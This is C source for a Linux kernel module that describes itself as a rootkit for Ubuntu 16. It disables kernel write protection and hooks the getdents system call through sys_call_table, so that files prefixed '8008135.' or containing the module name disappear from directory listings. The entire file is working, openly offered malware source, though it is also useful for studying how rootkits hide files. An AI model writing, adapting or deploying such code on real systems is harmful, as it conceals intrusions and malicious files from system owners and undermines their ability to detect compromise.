#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <asm/special_insns.h>
#include <linux/string.h>
#include <linux/fs.h>
#include "sysgen.h"

#define GETDENTS_SYSCALL_NUM	78
#define WRITE_PROTECT_FLAG		(1<<16)
#define HIDE_PREFIX				"8008135."
#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX)-1) 
#define MODULE_NAME				"8008135"
#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)



struct linux_dirent {
	unsigned long	d_ino;
	unsigned long	d_off;
	unsigned short	d_reclen; // d_reclen is the way to tell the length of this entry
	char		d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
};

MODULE_AUTHOR("JKE");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("RootKit for Ubuntu-16");

typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count);
sys_getdents_t sys_getdents_orig = NULL;

// our new getdents handler
asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) {
	int boff;
	struct linux_dirent* ent;
	long ret = sys_getdents_orig(fd, dirent, count);
	char* dbuf;
	if (ret <= 0) {
		return ret;
	}
	dbuf = (char*)dirent;
	// go through the entries, looking for one that has our prefix
	for (boff = 0; boff < ret;) {
		ent = (struct linux_dirent*)(dbuf + boff);

		if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix
			|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {     // or if it has the module name anywhere in it
			// remove this entry by copying everything after it forward
			memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen));
			// and adjust the length reported
			ret -= ent->d_reclen;
		} else {
			// on to the next entry
			boff += ent->d_reclen;
		}
	}
	return ret;
}

static int __init lkm_example_init(void) {
	printk(KERN_INFO "Hello, World!\n");
	
	printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
	
	// record the original getdents handler
	sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM];
	
	printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);

	// turn write protect off
	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
	
	// add our new handlers
	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;

	// turn write protect back on
	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);

	printk(KERN_INFO "New syscall in place\n");
	
	return 0;
}
static void __exit lkm_example_exit(void) {
 	printk(KERN_INFO "Goodbye, World!\n");
	// allow us to write to read onlu pages
	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
	// set getdents handler back
	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
	// turn write protect back on
	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
	printk(KERN_INFO "Old syscall back\n");
}

module_init(lkm_example_init);
module_exit(lkm_example_exit);